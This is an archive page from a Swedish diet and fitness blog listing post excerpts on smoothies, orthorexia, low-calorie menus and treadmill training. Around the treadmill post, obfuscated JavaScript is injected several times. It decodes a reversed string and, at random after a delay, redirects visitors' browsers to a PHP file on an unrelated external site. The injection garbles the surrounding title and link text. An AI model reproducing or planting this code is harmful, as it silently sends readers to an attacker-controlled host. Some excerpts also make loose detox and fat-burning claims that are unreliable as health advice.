Gröna smoothies, mer än bara en grön drink.

By: | 0 Comments | On: September 8, 2013 | Category : Jonas Andersson, Skribenter, Uncategorized

SAMSUNG CSC

  Om du bara ska göra en enda hälsoförändring i ditt liv så rekommenderar jag att du ska börja dricka 1-2 gröna smoothies om dagen. En grön smoothie är gjord på olika sorters frukter, bär och grönsaker som med vatten sedan körs i mixer till en slät och len konsistens. Själv...

Read more

Bra att ha hemma i förrådet och saker att tänka på

By: | 0 Comments | On: September 7, 2013 | Category : Jonas Andersson, Skribenter

Photo_CD_15

Tänkte dela med mig lite av mina tankar, funderingar och andra bra tips hur man lättast håller sig till en sund kost och inte dras till den mörka sidan.Jag älskar att improvisera i köket men jag vet att dom flesta vet inte vad dom ska laga till sitt nästa mål...

Read more

Ortorexi – När hälsosamt blir ohälsosamt

By: | 0 Comments | On: August 29, 2013 | Category : Jenny Mårtensson

Ortorexi får man om man är överdrivet fixerad vid kvalitén på maten istället för mängden. De är noggranna med vad de stoppar i sig och fastnar i ett tvångsmässigt ”hälsokostätande” tills de blir så pass allvarligt att de ger negativa konsekvenser dvs. när nyttigt blir sjukligt. En med ortorexi får...

Read more

Heldagsmeny – 200 kCal / rätt

By: | 0 Comments | On: March 1, 2013 | Category : Menyförslag

menu

Förslag till heldagsmeny på cirka 200 kCal per portion.

Read more

Fettbrännardiet

By: | 2 Comments | On: March 1, 2013 | Category : Tips för deff

Fettförbrännardiet

Fettförbrännardieten

Read more

Defftips för Beach 2013

By: | 0 Comments | On: March 1, 2013 | Category : Beach 2013, Tips för deff

Defftips

Här kommer 10 riktiga bra defftips för Beach 2013: Drick mycket grönt te. Grönt te ökar fettförbränningen. För bästa effekt, drick minst tre koppar varje dag. Börja dagen med frukt och osötade fruktjuicer. Frukt innehåller vitaminer, mineraler och antioxidanter som revitaliserar kroppen och rensar bort gifter. Ät starkt kryddad mat....

Read more

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}et: Så får du ut mest">Träning på löpbandet: Så får du ut mest

By: | $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join(""/#respond" title="Comment on Träning på löpband$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}et: Så får du ut mest">0 Comments | On: March 1, 2013 | Category : Träningstips

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}et: Så får du ut mest" href="http://deffrecept.se/wp-content/uploads/2013/02/3-Day-Workout.jpg"> löpband$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Lägg ner enformiga träningspass och få fullt utbyte av löpbandets möjligheter. Din kropp behöver variation och utmaning för att bli starkare, sundare och snabbare. Att träna på löpband ger dig perfekta möjligheter att leka med tempo och lutning. Utnyttja det och ge din löpträning en superboost. Dessa möjligheter finns Öka...

Read more

3 mål för Beach 2013

By: | 0 Comments | On: February 28, 2013 | Category : Träningstips

Tre mål

Är ditt mål att gå ned i vikt eller vill du bara ha mer ork och energi? Se om kost eller motion är verktyget som kan hjälpa dig att uppnå ditt mål.   Mål 1: Viktnedgång Ditt verktyg: Kost   Gör så här: Om du äter nyttigt och fettsnålt så blir...

Read more